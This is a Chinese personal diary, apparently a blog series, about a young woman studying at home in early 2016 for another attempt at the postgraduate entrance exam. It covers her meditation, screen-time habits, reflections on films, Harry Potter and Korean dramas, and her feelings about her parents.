现在开始《研究是一门艺术》，刚开始几页便知道，凌云推荐的这本书对我来说太有必要了。游荡了近一个月了，确实应该恢复状态为将来打基础了，英语我打算从最基础的词汇开始，凌云说她上课有的听不懂，又一次敲醒我语言的重要！专业也是，该从最基础的专业书开始，一本一本构架我自己的专业思维，时间怎么安排？每天怎么做才好？等等得认真想想，努力真的是在每一天，坚持真的好难……最初的新鲜感一旦褪去，剩下的便得依靠优秀的品质了！ 偶尔发现《微观小世界》，太可爱的一部动画，被其创意深深吸引！现在的我像打开了一扇大门，越来越多的趣味向我涌来，总是会有新发现，新知识！有如此多的未知，好让我保持谦卑。灵感的闪动太重要，让我规划一下，怎样为自己创下崭新的未来！ 120.家里蹲考研（20） 2016年1月29日 星期五 阴 最近冥想走神的厉害，确实是各种状态都太不好了，从今天开始恢复状态。上午英语，下午专业，晚上阅读，背单词软件在碎片化时间使用，比如外出不便。昨晚也开始听单词课了，我的基础很是不牢。保护眼睛也是，尽可能戴着平光镜，少用手机乱刷。最近写日记也少了，各种状态的下滑真是……ihours上标注的每日项目却没能做到每日坚持……还是克制不住去吃上火的东西，喉咙仍未全好，新开始，加油！ 下午看的是The Pixar Story，这是我梦寐的人生状态，为了自己所热爱的事业奋斗，和一群一样有梦的人！我们是一个团队，克服了一切的不可能，走在别人从未探索过的路上。这虽然是一部纪录片，却让我热血沸腾！每一部电影都是卖座的，那是一种令我亢奋、激动的人生，脑子有点乱…… 2016年1月31日 星期日 雨 连刷几天皮克斯作品，创意好棒！《超人总动员》、《海底总动员》、《怪兽电力公司》。情节因为“接下去不知道会发生什么”才精彩，这也是我期待的人生。 我总是为各种小事烦恼，状态好的时候想想，真是没必要。就比如生孩子，觉得应该生又不想生，反反复复，可这问题明明离我还远，大山说不如等想明白为什么要生孩子再决定，这是个好主意！ 昨天是干妈的生日，我为她准备了鲜花和蛋糕，我不擅长凭空创断，却可以在参考已有事实的情况上加上自己的点子，还不够！这还不够！要有更多想法才好。对于干妈来说，很少有人用心为她过生日，更少有人用心为她准备礼物，我从不是锦上添花的人，我更愿意雪中送碳。干妈也算是前车之鉴，人，要为自己活！ 《甄嬛传》却有许多可取之处，不过我们看电视剧绝大多数是站在主角视角上的，尤其是女主视角！偶尔又上帝视角认为别人蠢笨……有时候认真想想，干什么不能学点东西呢？这部剧学了什么？学了很多，说话是门技术活儿，会说话的人铁定混的不差。人要有文化，容颜会老去，气质却是长存的。防人之心要有，小人实在可怕。 相比之下，动画片里价值观就单纯多了。Finding Nemo居然出乎意料的好看！非常棒！父母最终相信孩子自有闯天地的能力！我后悔了自己当年的浅薄，若是我能多了解一点，去迪斯尼也会玩的更愉快！我在这块太缺之常识…… 这几天，不，这段时间的状态实在是……我放纵自己了！脸上长了一堆痘…… 忽然忘记是否记录过这个观点：我会去关注，会去反复，是因为作品的作者水平在我之上，若是怎样也吸引不到我，很可能是因为我本身已经比作者更强了。现在遇到很多东西我都不敢妄加评论，因为在某些方面，我真的连基本常识都没有。比如说，评论皮克斯的水准是否下降；评论某奢侈品是否设计新潮；更比如某首歌曲成某部影视作品的深意……我还得加油了！既然还不能判断，那就等。 2016年2月4日 星期四 阵雨 看着凌云姐姐的状态，我觉得心疼，我原来也是这样的吧！好在走过来了。真的只有自己强大才可以帮助更多的人。 冥想的基础课已经进入最后阶段了，我似乎更多地去体会自己身体的感觉。昨天，我非常清醒地感觉到身体的疲劳，她累了，非常累。连续的没有午休对我来说确实有伤害，我还是不够沉稳，不够耐心。面对不能即刻说服的人，我生气。可是这世上又有多少人，多少事不能即刻驯服。我安心吧！ 重读Harry Potter帮我又回忆了许多细节。书的最后，Dumbledore总能帮助Harry通过一学年的总结学会新的道理，这便是所谓的人生导师吧！我不太喜欢Harry，可对人又何必这么苛刻？Ron确实从很早就显现了对Hermione的多于常人的关心。我总喜欢把所有事都戳破，有时候似乎不太好……人生啊！ 我心里不舒服，我又想到Q上的问题：有什么事你父母对你做过，你却永远不会对你的孩子做？若我有孩子，我绝不对孩子抱怨家长里短。因为我父亲在人情世故上的愚蠢导致了非常多我母亲的痛苦，这些问题从未在根本上得到解决，所以我母亲只能反复地将这种事抱怨给我听。我可以理解我母亲，但是，这种对于成人来说都是毁灭性灾难的持续性压力，对于一个孩子来说又是什么呢？我从小就被迫被推入这种压力下，我现在的性格也有一部分被这个因素左右吧！ 我现在开始厌烦，我开始讨厌我母亲和我抱怨，更加厌恶我父亲，他的大多数缺点都是我无法容忍的。因为我是我父母的孩子，所以我们有太多的相似，我父亲恨他的父亲，我母亲恨和她的父亲，因为他们的父亲的自私和不检点毁了他们的家和童年。我的父亲没有不检点，但从这样家庭走出来的孩子，在情感上必有缺陷。写到这里，我心里的气又完全消了，不论怎样，父母是无法选择的，也没有孩子会真正恨自己的父母，否则，是会成为伏地魔的……（这样看来，大魔头只因为缺爱！哈利波特的主题确实是关乎爱的！） 我不知道我有过以上的想法是否就算是大不敬，若是有人“断章取义”那更更加可怕。不过，我越来越可以理解我父母的想法，我也逐渐释怀：孩子是靠不住的，父母也一样，唯一可以依靠的是自己。可以相伴的是爱人，孩子靠不住不是说一定是不孝顺，而是孩子会有自己的生活，父母和孩子并不是同年代的人，随时间流逝，环境改变，交集会越来越少，思想和观念都会不同。 而且，父母也有自己的生活，他们的世界中不必永远是孩子。何况，若是孩子做出代际突破，很多事情父母的经验也是望尘莫及的。然而伴侣却是一生的，同吃同住一同经历共同感受。父母因为年纪会先孩子一步离去，那么剩下的日子里，最亲密就只有爱人和孩子。所以，父母和孩子间不必觉得谁欠谁的，也没有所谓为谁牺牲，这是个人选择的问题。在一起也好，不在一起也罢，都尽力想过对方就好。 终于开始了我的新认知记录。荆芥干、仙鹤草、红参，这三味药是我从自己吃的中药里得知的，其他的除了枸杞、田七粉，因为看不了药方，全不认识！ 今天是第一次看《三联生活周刊》，第一篇封面故事便令我大赞：“食不厌精，更不厌广，无广难精。”这道理在学习上也是通的！看来，我要继续努力在美食路上！广然后精！“《饮食的社会学》里指出人之所以要定时吃饭，是为了和其他人一起吃饭。”这句话让我感到说不出的美好！封页里的彩图是各色精致小点，也是我一直追求，心中所想的那种美丽糕点，原来真的存在，且又知道了他们的名字，心中甚是欢喜，尤其是“船点”，有机会一定要尝试！ 还有红绿丝！从小就觉得难吃，后来却没再见到的黑暗至尊！今天竟还知道了他的大名和做法，顺带还知道了他一般放在老月饼里，月饼又大致分为京式、广式、苏式三种！哈哈，关于吃，知道的还是太少了。若真是要懂得吃，还得下一番功夫！以后在吃上，也不要妄言了！ 2016年2月6日 星期六 晴 年前我父母总是特别忙，往往早起然后在阳台上大声交谈，据他们说是故意要把我吵醒。我也总是不爽他们，头痛心烦！今天早上却奇迹般的头痛心不烦，平心静气地任由他们吵。不知是否每天冥想的成效，我想到我有一个习惯，就是在做作业或考试的时候脑里会想另一件事，内心平静，也丝毫不影响我作答，感觉和现在训练的冥想状态just watch your minds挺像的。只是平静地接受想法来来去去，训练的其实是心境。 最近和大山讨论比较多的是努力学习享受生活，原来我描述了那么多只用两字便能概括：精英，我想成为精英，至少是向其靠拢。 《三联生活》这期确实对我有所启发的，想要真的做好，就要知道事物本身的起点和终点，其自然的状态，向自然学习便是最好！所谓现代文明是借助科技更好地返璞归真。 2016年2月7日 星期日 晴 不知道这是2016年以来第多少次下定决心要调整作息、保护眼睛了。昨晚，我的视力状况让我感到害怕：坐在沙发上看电视字幕重影、很糊，即使有了眼泪和眼药水也不能改善。我的眼睛累了，真的累了。从今天现在开始，把她当作刚做完手术一样对待，不看电视、不玩电脑、不长时间用眼，尽量时刻戴平光镜以提醒自己现在眼睛的状况！身体也累，昨晚睡下时就恶心想吐，右边的头像扯住一根皮筋一样难受，时不时又针刺一样的痛，右耳也不舒服好几天了，右边的脑袋似乎比左边重了一倍。 () { $(''.inform'').remove(); $(''#content'').append('' 冥想讲到将冥想的状态代入日常生活，时刻感受自己的身体。我觉得这便是鸣人仙人状态的最后练成状态。我似乎有了一点点的切身体会，时刻在意自己的身体状况和思想状况，身体是自己的，一定要努力爱护！ 最近开始了冥想基础部分以外的尝试，睡眠、SOS、吃饭。先说SOS，大概3分钟这样。奇怪的是这几天我心情超容易不好，我妈让我“喝鸡汤、吃鸡肝、换衣服”诸如此类，反正她和我多说几句话，我就不好，用SOS急救效果倒不错。 Eating是今天中午尝试的，吃东西往往第一口强烈感觉过口味后便忽略之后的体验，最后一口又会重新感受一次。确实是这样，我按照指导来吃巧克力，和食物有一个沟通，舌尖和舌头两端尝的是苦，上颚顶蔓延出甜，整个舌头一同感受才是巧克力味！巧克力好香，让人有一种异域的神秘感～（巧克力是阿连从欧洲带回来的）这种全身心去吃的体验很不错！改善我们和环境的关系，和身体对话，和食物对话，这种沟通交流达成的事物间的关联让人宁静。我记着大山说的，父母间的事很不顺也不要管，自己白白生气，却什么也改变不了，我不管。 P.S.除夕就这样来了，外面炮竹声此起彼伏，习俗确是这样，不过我仍旧觉得没什么意思，有些东西可以改改。 2016年2月8日 星期一 晴 峇（ke第四声） 鄄（juan第四声）鄂 叻（le第四声） 饕餮（tao第一声 tie第四声） 蚶（han第一声） 血蚶、Kaya酱、叻沙、班兰叶、巴斯马蒂大米 发现越来越多的汉字认不到，写不来，有些事开始让我隐隐不安。“峇”字居然在小本的新华字典里没查到，多少年未翻过字典？以上列出的都是我未曾听过的新加坡名吃。每个国家民族都有它自己的文化饮食，想要都知道了解确实要花一番功夫！ 昨晚我一方面为了保护眼睛，一方面又想和妈一起看《甄嬛》，于是戴着平光镜坐在沙发上闭眼听音，过一下睁眼看几分钟，稍有疲劳又立刻转移视线或闭眼，我也是克制……据说避免视线接触可以帮助克制，我同意！不过最近日子过的混乱。到晚上便疲惫不堪，作死…… 我一直认为可以把设计师纸上的作品制作成现实样子的人很牛气，比如裁缝按二维设计图做衣服这种，反正我的脑子很难转换。还有可以把自己所想画出来的人，把自己所想谱成曲的人，就是把自己想法做出来的人！这里强调一下是分毫不差做出来的人！我前面忽然有一个想法，一个叫“彩色阳光”的小仙，每日去到太阳上，用强大的冰冻魔法把太阳和阳光冻住，然后徒手采摘每一缕细如蚕丝的阳光放在背上的竹篓里，以保证每日的阳光再次出现时不会太长刺伤凡人的眼睛。可惜我画不出来，也不知道那每一缕阳光冻在冰里该是什么颜色。 昨晚Thomas和我发语音祝福，我回的语音，太久不说英语，嗑吧了！吓到！从今天起保证定时和他语音！ 在豆瓣发现一个名为《一直走直到我遇见你》的专栏，讲的是作者袁应笑从北大、耶鲁、伯克利的日子。我只看了四篇，很喜欢。关于漂亮女生的爱卫生习惯却从小龙女讲起，感觉视角很新；而《如何把自己弄进世界名校》则是让我警醒，以后不懂的事万万不能乱说，尤其是下定论！我以前总认为美国去本科是如何资源公平，原来根本不是这样！我在中国才真正享受着公平的本科资源！无论出生，考上就可以，而不需要你有个好爸爸。当然，高考也只是相对公平，但是！我是无论如何需要感恩的！视野，我的视野还是不够！我现在选的路是正确的，努力往下走！ 再一点便是对人的态度。我期待我能够永远心态平和，避免与我讨厌的人接触。但我真正应该做的却是无论遇见如何奇形怪状的人都能保有一份平和。随着视野的扩展，我又进一步意识到原有意识的不足，但有一点却是真的，越往上，所做违心事确是可以相对减少的。至少对在人和人之间，尊重彼此是有的。或许，我又不该在整个大方向上定论，但只说一点，“不以能喝为荣，不喝为耻”是真的，就算为这点，也值得向上。 P.S.没有人引导的探索犹如大海捞针，我虽每一步走的艰难，但决不放弃！ 121.家里蹲考研（21） 2016年2月9日 星期二 晴 我只记得我今天一定要写日记，可是想记什么内容似乎忘了…… 在豆瓣潜水挺久，昨天终于注册了。今天看到作者写《东北黑的》，讲到东北人对日本人的态度，惊愕许久，不知道的少说为妙。关于日本人的描写倒是激起了我对围棋的兴趣！可以尝试。 凌云姐姐给我发了两个红包，一个9.99，一个5.20，哈哈！ 今天为外婆做寿，一个三层大蛋糕让她感动到落泪，老一辈人经历的苦难我或许永远不会懂。晚上陈姨来做客，她曾是妈妈最好的朋友，可今天再见已相隔几十年，她看起来好憔悴。我想，二十年后我希望自己仍旧看起来精神气质，至少是同我一辈中的美女。时光流逝，日子要好好过，幸福会写在脸上，我永远会美美的～ 2016年2月17日 星期三 晴 两天过去，我的ihours上是空白，什么都不做，时间便也是这样流逝。 考研分数在2月15日揭晓，我中午还在忐忑地参加人生第一次以个人身份参加的初中同学婚礼。就是15号这天，我的ihours上是空白，分数很低，我大概难过了一个小时，开始想出路。 在家这一年，我已不知道该怎样正确评价自己的学习表现，但凡是没有成功都可以归结为：不够努力。心智上确实成长不少。我决定继续尝试一次，虽然感到害怕。 16号我没吃早饭，和凌云姐姐聊了很久。工作，然后出国成为了新的选择。我做的一切都是为了能够出国学习，我所追求的是人生的多种体验，那么，去工作吧！在家再读一年仍旧没有十足的把握，若失败又是一年空白，我花了几乎所有的时间在补数学。数学，明明很讨厌，明明不擅长。 我现在要做的只是等待，上了去读书，没上去工作。我感到前所未有的轻松，很久很久没有过了。 开始看了七日更的韩剧《奶酪陷阱》。男主和女主在审视他人时嘴角不经意的上扬，是看穿，是不屑，是我对旁人也有的表情，这个表情很细微，除非你注意到我。我不认为男主可怕，反之我认为他稳重、优秀，然而其余的人都像小白一样向男主哀求和哭诉：“你是坏人！你伤害了我！”男主内心的剧烈动荡和我总是一样，我最讨厌那种无辜的眼神，明明自己做了不得见光的事，却跑到人前苦苦哀求。然后，男主变成了人们眼中的恶魔，没有人情的怪物，哈，我也这样。我们不过是比别人有更高的原则和更理智的大脑，蝼蚁！所有的误会都可以因为沟通化解，小人往往利用人们的疑心和担忧使他们放弃沟通。 《深夜食堂》果真是要深夜独自看才好。我发现有些事确实是要独自做比较好的，那种萍水相逢之人的温暖，一份吃食的满足，看似很低的要求却因人情而升华。人和人之间啊，我也说不清。 Flipped翻成的几个片名中，我最喜欢《怦然心动》，这个词用的太绝妙！形容出那种微微颤抖的萌动再适合不过。没有太过的感想，这是一个纯爱的故事！ 每个人都有自己的人生，也因情况不同对相同的问题做出千奇百怪的选择，我想好好珍惜这段日子，做自己想做的事，真正随心所欲起来～毕竟人生这样的时光太少。我的未来在我自己手里，好久好久没看书了。 2016年2月18日 星期四 晴 重听Harry Potter确实是有不少收获，现在是第三部。Harry刚听说摄魂怪的时候并不害怕，就像他第一次知道伏地魔，因为无知所以无畏。就像Hermione听到马尔福称地为Mudblood并没有过激的反应，即使她感觉到这是一个不好的词。有时候知道太多似乎不是什么好事； 我好像终于理解了新品特价和免费试吃的营销手段。因为并不是所有人都有猎奇心，但大多数人都不拒绝小便宜！Ron拿蜜蜂公爵的新品免费试吃，也为这免费的甜点卖力宣传了，都不亏； Lupin和Harry关系要好却不是通过和Harry他爸的关系套近乎，这点让我很受用。但凡有陌生人对我说起：“我和你爸妈很熟”这种话只能让我更反感，我想我以后也不用中间人套近乎，也不接受别人用中间人及强行联系套近乎，表面上可以敷衍，内心是抵制。 昨晚看《奶酪陷阱》，男主对变态狂进行发泄，我似乎也从心中得到发泄，我尽力在人前压抑自己的情绪，所以有时会向往暴力，我感觉这和家教严格有一定的关系，我内心绝对有“刘正”这种略扭曲的一面，但同时，也有洪雪单纯善良的一面。有时候的我因为轻信他人被利用和欺骗，这两面都是我，至少以我现在的认识是这样的。 对于未来是去工作或侥幸被录取读研我心中仍是混乱的，刷东西让时光流逝是一种逃避，一旦开始就停不下来。若是我能把视线移开去做其他更有意义的事，开始了便可以继续下去了。我一面明白这样下去不行，一面却又仍折磨着自己的身体，像极我父亲！我要改！努力去改！ 停了两天便又要从头开始，根本不能够有一丝的松懈和停滞啊！ 居然忘了记下昨天狂刷的感想……其实我也好奇为什么自己会对他人的隐私有兴趣，即所谓深扒！刚刚的消息是“重庆男生被世界最难考大学阿联酋的纽约大学阿布扎比分校录取”。你足够优秀的话，家里便不用花一毛钱你就可以享受最好的资源。给我的启示是教育和金钱的一定关系，阿联酋通过投钱瞬时完成了名校的建立，名校提供良好的教育，成功教育下的学子为社会创造更大财富，家庭的从小教育又使得孩子去接受更好的教育，这是良性循环。 我一直所说的家族传承从未有过物质真正贫乏的家庭，即使因某些变故贫乏，那之前总是用金钱浸过的！不说大富大贵，只说物质不贫乏。是的，若是都维持不了生计，谈何培养教育？外婆的家境不算太好却有良好的素养，那是因为老外婆曾是乘轿出门的大小姐。即便后来经历大改，家道中落，可血液中的诗书气却是抹不掉的。那个被录取的重庆男孩从小熟读文学经典，学理工的父亲陪他比赛做数学习题，这样的氛围和环境，是男孩天生的能力。若是我有了孩子，我会尽所能的。 昨天刷的是李嘉诚儿子曾被绑架的事。李家没 () { $(''.inform'').remove(); $(''#content'').append('' 有报警，付了10.38亿的赎金。我所震惊的是李嘉诚和绑匪头子的面谈，双方的镇定自若，重点是坦诚！尤其是李嘉诚的胆识和迫力，他对绑匪的态度和事后劝慰他改邪归正，不愧为一代传奇。我身上少了什么？从容不迫。我的心不够定，不够静，不够宁。彩色的阳光，即使是阳光，也可以选择包容和温暖。 P.S.忽然觉得小朋名叫“从容”不错。 2016年2月20日 星期六 晴 放生归来，这感觉也是神奇，说到这条鱼……我还在念祷文，他就跑了！跑了！在大桥底下，一接触到河水，他就活起来了！受伤什么的都是假的？！好吧！ 对于为什么放他我解释一下，前几天晚上他跳出了养他的水箱，在无水的地面上用身体拍打，我听见了，但是觉得我爸妈一定会去救他。于是我让他等了十分钟（11：50—12：00）。十二点我坐在床上继续刷，又听到他挣扎打门，懒得起，又拖了二十分钟……终于我爬下床去救他。厨房的地面上尽是血和水，我帮他换水，把他弄进水箱，他动了一下，然后，翻了白肚……嘴和鳃都不动了……我把增氧机也放在他嘴边，他还是不动……我惊吓，愧疚！蹲在那里为他念了两遍心经，他还是不动！我非常愧疚，我力气不够，只能一瓢一瓢为他换水……快一点了，我又爬回床上，立刻查了鱼脱水能活多久，惊吓！鲤鱼是最顽强的！三十分钟，其余的鱼也就十几分钟极限了！我很担忧地入睡了，一早爬起来去看他，活过来了！非常开心～但是因为拍打而四处受伤……还是愧疚，昨天我又看了他，真的不舍得吃……从小就是，但凡在我家养久了的动物我就不舍得吃了，虽然我也没亲手养。哎！人心。 为了验证我家两种形态的饭碗哪个容量大，大山用清水填满一碗倒到另一碗，哈！容量相同！这是我喜欢的求知精神～昨天和大山一起想了专利，我的点子还是挺多的～ 重拾起《瓦尔登湖》似乎心不那么平静。 《哈利波特与密室》，很多地方表现的很棒！不过，情节改过后，有的不喜欢。 2016年2月22日 星期一 雨 只要在家，元宵节总是在外婆家过的，今天也是。哪吒糍超级好吃。 白天和郑阿姨和李教授通了电话，基本确定了方向：考事业编，先拿到铁饭碗再说。我从未想过人生最后真的变这样。这条路，袁在笑的专栏给我提供了很多新的视角，确实是不懂的太多了。从今晚开始我努力调整状态：早睡、早起、冥想、运动、学习！ 2016年2月24日 星期三 晴 人生就是这样，不论我有多么不愿意，又开始考研，明天正式开始。必须先进华东水利的大门，这段时间发生了太多的事！工作无门，考研无望。本科学历低，非211卡死，不是研究生卡死，我空有雄心壮志，可惜没有能力。简历:我又可以开始缺什么补什么了，缺什么？过硬的文凭，怎么办？考！这是我唯一的出路。国外高昂的费用，唯一的办法，自己足够优秀！本来想写的很多，不过已经都发泄过了，多说无益，又开始新的征途。 122.继续家里蹲考研（1） 2016年2月27日 星期六 晴 “历史总是惊人的相似”这是我爸前几天说的，因为他考大专考了三年，现在的我即将开始对于考研的第三次尝试。第一年大约花了500小时，第二年大约900+小时（以上两年时间我反见记忆），第三年估计可以有个1000多小时，加起来该是够了，2000多小时完成从二本到一本到211的跨越。 我一直很向往那种充实学习的感觉，无奈现在却怎么也提不起劲……2015是我人生最努力的一年，不够，还不够！我花费太多时间在刷手机上。昨天想出一个办法，不带手机进房间。那我必须有个钟看时间，我爸之前买的那个太吵！今早买回一个，我已经太久没用这种功能单纯的物件了。我们太追求多功能，不懂这算不算可悲。我现在打算完整记录下我一天的时间，几点到几点干嘛。是的，手工记在本子上。每晚再输入“ihour”，我想清楚地看到我时光的流逝！我太喜欢这样了！ 昨晚看《瓦尔登湖》，梭罗对自然的亲近让我想到自己疯狂想去马达加斯加、南非和斯里兰卡保护野生动物。可是，我们身边还有森林不是吗？听父母诉说他们小时候的故事，去采杨梅、砍柴、捞泥鳅、拔小笋、割稻子，是多么的累并快乐着，可到了我们这一代又剩下了什么？看电视、玩电脑？我小时候算是有过一些体验的，采野果、捞虾、摸螺……那我的孩子呢？春社（农历二月初八）又快到了，我是否该去采蕨菜并且记录下来，起码为我的孩子留下些什么。 1937年，这么巧合！阿连昨天发给我他儿时的照片。那是怎样显赫的一个家族！1937年是阿连父母结婚的那年，照片上他父母装着婚纱礼服，他父亲戴着白手套，拿着礼帽，整个大家族的男士着西装，女士着旗袍，小女孩穿着花布连衣裙，白色高筒袜配小皮鞋，小男孩身着衬衫配短裤，老者们神采奕奕、白须飘飘，重点是，我看到了一位外国宾客！晚看《伪装者》，1937年的故事，明家的少爷小姐和阿连家照片上的打扮如出一辙！这是怎样繁盛的家族！如今，直到我这一代，恐怕也远不及1937年的阿连家和明家，落后了有100年吧！我倒是忽然想到，若是我能努力向上，生上9个孩子（阿连家生了9个），好好培养，那么我家也可以迅速发展起来！这样我也不用再顾虑自己的姑表堂兄弟姐妹们不愿奋发向上了，我们完全可以靠自己发展起来。不过，养9个孩子且个个出色的家庭，哈！人生向上不止。 P.S.我爸在我这个年纪据说也是瘦的惊人，不足100。 2016年2月29日 星期一 晴 在时间统计上加上“电视”这个项真是天才之举，果真，我每天轻而易举花上两三个小时，若不加以控制，成为花费时间最多的项目只是时间问题。这两天不把手机带进房间确实有效控制了我“狂刷”的时间，可见，自去年考研结束我已花了多少时间在电视和手机上！我人生到现在，花了最多时间便是电视，然后手机……最难得是克制，这话一点不错！话说最近视力恢复一点了，电视时间要控制！ 每天坐着学习对我来说确实有难度，那些一天十小时及以上的人我真心佩服！我把复习时间拉长到3月到12月，3.4.5这三个月希望可以多分担一点。越是难上的台阶说明上去了以后进步更大，华东水利确实没有那么容易跨越，高考将近100分的差距！我欠了太多，越是心爱的学生越是要经历磨难，我想这一步难走是真，但我把一年的努力拉成三年也是真，想过心中所想的日子，不爬上去是做不到的。 这几天想到的应该就是以上几点，没什么干劲是真的，不过再拖下去也不是办法，前两次考研出分就觉得悬了，我人生能不能也考一次一出分就知道一定可以上的？至于为什么选华东水利这条路我自己说不清了，不过总能感到去了便大有不同！ 昨天增肌训练腹部也是痛炸，若是最后真练出来了，也是强！话说我好像真的没坚持下来过什么事……英语是真心要努力啊！ 2016年3月2日 星期三 晴 自从“手机不进房间”计划执行开始，果真有效控制了“狂刷”现象！虽说真正复习开始只有3天（2.28正式开始，大约每天3小时+），居然有了过这种日子挺不错的感觉。每天有学习，自己想做的事也大概做做，万事都如意是不太可能，这样也很不错啦！ 昨天看《伪装者》，明台随意上台便演奏了钢琴，他会说日语和拉丁语，会跳各种交谊舞，会变魔术，这以上是他本身的技能，再加上特工训练！完美！特工，特别优秀的特工真心是在高层次上产生的！又联想到《菊与刀》，我们对于其他国家，知道的太少！最近很长一段时间没怎么看书…… 去泰国料养大象的事基本是定下来了，具体细节还需慢慢完善，“放下的事有千斤重！”事情不做便是永远过去了！愿我今年更加出众！ 2016年3月3日 星期四 晴 缪勒（Muller）教授对于两个问题的回答感动了我：一是有孩子这件事有什么是别人没告诉你的？他说，他从不知道他会如此地爱一个忽然出现在他世界的人，他详细描述了他女儿刚出生他看着她学会打喷嚏的过程，真的充满了爱！孩子和父母是被紧紧联系在一起的，如果你和你的妻子（丈夫）相爱，就多生几个孩子吧！Muller也谈到有些人放弃了这种天性使然的爱，不去爱孩子，他说他为此感到遗憾。我想到我身边的一些人，或许，他们真的没有这种爱的能力，又或许，教育问题制约了他们。 第二个问题是一个即将结婚的男子问的：“如何保持长久的婚姻？有什么避免错误的建议！”Muller说，今年九月他和他的妻子将庆祝五十年结婚纪念日，他认为永远像第一次见到她一样，和她恋爱，忽略她的缺点，做所有可能让她开心的事但不求回报，若是她有所回报会非常开心！维系所有关系的最好方式就是用时间真心去爱！ 我又想到了我和父母、爱人。昨晚我难以入睡，往事又一幕幕飘过，许许多多的错误造成了今天的局面，为什么会这样？因为我心中有不满，对过去、现在的不满，对父母和自己的不满，可是，这一切都已经无法改变！再这样下去我也只是折磨自己，与其不忘过去，不如好当下。对于过去，过去的每一天、每一分、每一秒我都应该释怀。真的放下，去做现在的自己，因为过去的一切，不论好与不好，才有了现在的我。 在刷Q前我蹲在坑上想，我能做点什么让父母开心？估计是扬名立万……最近的大事估计是这次再考研上了400！算了，我在家的又一年陪伴是多少人求不来的，从这个角讲，神奇的幸福，我居然在大学毕业后也和父母可以天天在一起！难道是对将来的弥补？

(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 我最近在想房间的墙上该画上点什么，床的靠背后的墙上画上高山，我背靠高山而坐！起身正对的墙上画大海，尽头是上升的太阳，面朝大海春暖花开！头顶的墙上是星空，和正对的墙在拐角处做颜色渐变，由白天到晚上到白天，这小小房间，太阳月亮星星，高山大海全有了，便是我的天地！ 我想到我房间现在有的小摆件小杂物去小学门口摆个地摊，“能背唐诗打五折！”，把小东西全脱手了，顺带看看小学的小朋友对唐诗的造诣。我把要卖的东西记在本子上，标好价，依小朋背诗的难度扣去相应的价钱！我干脆去研究“儿童行为”或“儿童心理”好了！估计也就想想…… Harry Potter被我讨厌估计是因为我们太相像了吧！喜次瞎打听，对各种事好奇，心思不在学习上，爱出头！心中有点事就睡不好，自以为正义感爆棚，反正睡不好、心思不在学习上、爱管事这三点是绝对的！现在看“哈3”会觉得抓Peter的那段很拖踏，又或许在真实情况下，人的脑子便不那么好使了吧！ 今晚非常神奇，我看电视的欲望并不是非常强烈，先和妈妈看《奶酪陷阱》，一集结束后就开始做增肌训练了。洪雪和刘正让我想到了我自己，洪雪冲她母亲吼道：“你对我抱怨了一切，那我怎么办？我承受了什么？”我至今仍未冲我的母亲说过这样的话，可是，我也埋怨过她。她将她对各种家庭琐事的压力和不满对我发泄了，那我又去哪里找出口？问题出在我父亲身上，这本是他们夫妻间该沟通解决的问题。妈妈说，小雪有什么事都不和别人说，即使保罗是她的好朋友。可是我理解，即使是朋友，保罗过的那么幸福，和自己的处境那么不一样，又怎么开口说呢？况且保罗那么单纯，得找一个成熟、可以理解、真正可以支持和陪伴的人才能说啊！所以一个人很寂寞，我想有人信啊！ 刘正说他害怕小雪知道他的真面目以后离开他，他真的为了保护自己或者满足自己做过过分的事，居然这点我也一样！我希望有人可以认识全部的我，却又害怕这会吓退别人，所以敢真正走近我的人好少，我真的那么可怕吗？我曾经信任的人把我的全部也讲给别人听，让更多的人感觉我真的那么可怕，哈哈！我那么傻，我对人太真。白仁浩做的错事是他太狂妄，刘正活得太压抑、太敏感、太脆弱，所以做起坏事来便过火了，下狠心了，我居然都理解。我太害怕失去关注和爱了，我太想要包容的爱，而不是被严厉包裹的爱。当我知道有人喜欢我，我先会觉得神奇，我不是很可怕吗？不是很难以接近吗？马上又想到，进一步了解之后就会害怕了吧！所以我讨厌他们，我是太脆弱了吧。 《哈利波特与阿兹卡班的囚徒》：Snape对于Harry父辈的恨意让他失去了人性，但是James和Sirius对Snape做过的事也的确难以原谅。每个人在年少时都会犯错是吗？即使后来成长的很好也可能犯下过难以原谅的错是吧！回到过去却不能改变历史，这是规则，即使我回到过去，我仍会做和原来一样的选择，所以，后悔无用，必须学会接受现实。所以，我穿插进剧情给提示也是无用的，谁也改变不了历史。Dumbledore脸上enjoying和amusing的表情让人捉摸不透的高兴，明明洞察一切却只是旁观，想成为上帝视角，我还太弱了。任何时候学会留一点仁慈，因为欠了的，总是要还的。